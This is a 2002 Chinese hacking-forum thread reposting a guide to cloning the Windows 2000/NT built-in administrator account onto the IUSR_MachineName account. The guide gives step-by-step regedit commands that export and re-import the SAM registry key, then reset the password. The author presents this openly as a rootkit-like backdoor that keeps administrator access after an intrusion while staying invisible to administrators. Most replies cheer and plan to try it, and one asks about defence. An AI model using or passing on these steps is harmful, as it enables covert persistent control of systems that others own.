如何克隆管理员帐号 [转帖]

>> 欢迎您， 傲气雄鹰: 重登陆 | 退出 | 注册 | 资料 | 设置 | 排行 | 新贴 | 精华 | 管理 | 帮助

首页

小榕软件实验室

刀光雪影

如何克隆管理员帐号 [转帖]

■ 回复数：7　◆ 点击数：591

将此页发给您的朋友

作者

主题: 如何克隆管理员帐号 [转帖]

回复 | 收藏 | 打印 | 篇末

小蔡

级别：精灵王
威望：0
经验：27
货币：3111
体力：

来源：四川
总发帖数：439
注册日期：2002-01-28

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

如何克隆管理员帐号
Adam 于 4/28/2002 12:08:15 AM 加贴在绿盟科技论坛(bbs.nsfocus.com)--WinNT安全：

如何克隆管理员帐号

Author:Adam@nsfocus.com
Date:2002-04-28
Site:http://www.sometips.com

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户，似乎当管理员不存在一般，今天偶违背一下偶以前的初衷，Share一个类似于RootKit的玩艺，当然，这些过程也是可以用脚本实现的，但是我就不写了，OK，Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里，默认管理员帐号的SID是固定的500（0x1f4），那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆，在这里我们选择的帐号是IUSR_MachineName（当然，为了加强隐蔽性，我们选择了这个帐号，所有用户都可以用以下的方法，只不过这个用户较常见罢了），测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe)，然后在该CMD Shell里面运行
regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
这样我们将SID 为500的管理员帐号的相关信息导出，然后编辑adam.reg文件，将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的"1F4"修改为IUSR_MachineName的SID（大部分的机器该用户的SID都为0x3E9，如果机器在最初安装的时候没有安装IIS，而自己创建了帐号后再安装IIS就有可能不是这个值），将Root.reg文件中的"1F4"修改为"3E9"后执行
regedit /s adam.reg
导入该Reg文件

然后运行
net user IUSR_MachineName Sometips
修改IUSR_MachineName的密码（最好使用14位的密码，越像IUSR_MachineName的密码越好）

OK,大功告成...

这样，我们拥有和默认管理员一样的桌面、一样的Profile.....
而且，当我们运行 net localgroup administrators 时，看看结果：
C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
The command completed successfully.

再看看USER2SID的输出结果：
C:\>user2sid Administrator

S-1-5-21-1004336348-1078145449-854245398-500

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

C:\>user2sid iusr_machinename

S-1-5-21-1004336348-1078145449-854245398-1001

Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser

我想，再高明的管理员也看不到任何的异状了...而且，随便管理员改成什么密码，我照样可以用IUSR_MachineName，密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)

^_^，这算不算RootKit...

编辑　

删除　

发表于 2002-04-28.22:43:16　

IP: 已记录

神仙姐姐

级别：风云使者
威望：0
经验：9
货币：3051
体力：

来源：紫禁城
总发帖数：1081
注册日期：2002-01-28

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

高
我试一试

----------------------------------------------------------
淡泊明志,宁静至远;请别害我,我是好人!

编辑　

删除　

发表于 2002-04-28.23:58:14　

IP: 已记录

幻影

级别：精灵
威望：0
经验：2
货币：1411
体力：

来源：61.145.114.*
总发帖数：349
注册日期：2002-01-27

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

厉害厉害，佩服佩服。。现在有那些方法可以防止吗？？？

----------------------------------------------------------
有法故有破

躲在水底三天三夜，气也不喘，生吃鱼虾蟹，面不改色。。。嘻嘻

编辑　

删除　

发表于 2002-04-29.14:12:31　

IP: 已记录

aaaddd 帅哥哦

级别：精灵
威望：0
经验：6
货币：1143
体力：

来源：61.185.219.*
总发帖数：419
注册日期：2002-03-17

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

又有玩的了

编辑　

删除　

发表于 2002-04-29.16:22:32　

IP: 已记录

netfox 帅哥哦

级别：圣骑士
威望：0
经验：12
货币：504
体力：

来源：山东
总发帖数：240
注册日期：2002-03-18

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

哈，这可以与smss一样被评为本年度最佳系统洞洞了，，

----------------------------------------------------------
有约不来过夜半，
闲敲棋子落灯花。

编辑　

删除　

发表于 2002-04-29.17:14:24　

IP: 已记录

扑街

级别：管理员
威望：4
经验：127
货币：6123
体力：

来源：青山精神病院
总发帖数：2270
注册日期：2001-07-23

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

这也行?试试再说~

----------------------------------------------------------
今生无缘,泪如雨下,我试着忘记红尘中你留下的故事,可数日以来我始终无法走出你曾给我的感情世界,我深知让往事随风不是说说那么容易的. 天空下我们彼此站成了两个无法相溶的世界我却又总想忍住悲伤,而思念像穿透了灵魂一般不可抑制

编辑　

删除　

发表于 2002-04-30.00:15:10　

IP: 已记录

心想事成

级别：中级站友
威望：0
经验：0
货币：245
体力：

来源：广西
总发帖数：39
注册日期：2002-03-06

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

是的啊

我试试啊

----------------------------------------------------------
？？？？？？？？？？？？？？？？？？

编辑　

删除　

发表于 2002-05-02.13:34:28　

IP: 已记录

clf

级别：中级站友
威望：0
经验：0
货币：16
体力： 0.7

来源：福建
总发帖数：49
注册日期：2002-03-27

查看　

邮件　

主页　

消息　

引用　

复制　

下载　

万象的可以吗?先说再试,不然肯定给"K"扁咯!

----------------------------------------------------------
全昆大挪移

编辑　

删除　

发表于 2002-05-02.20:29:14　

IP: 已记录

选择回复

快速回复主题：	>>>高级模式
	用户名：没有注册？　密码：忘记密码？
记住密码 HTML语法禁止IDB代码禁止表情字符	[按 Ctrl+Enter 快捷键可直接提交帖子]
投票评分：	共 0 票

所有时间均为: 北京时间

↑TOP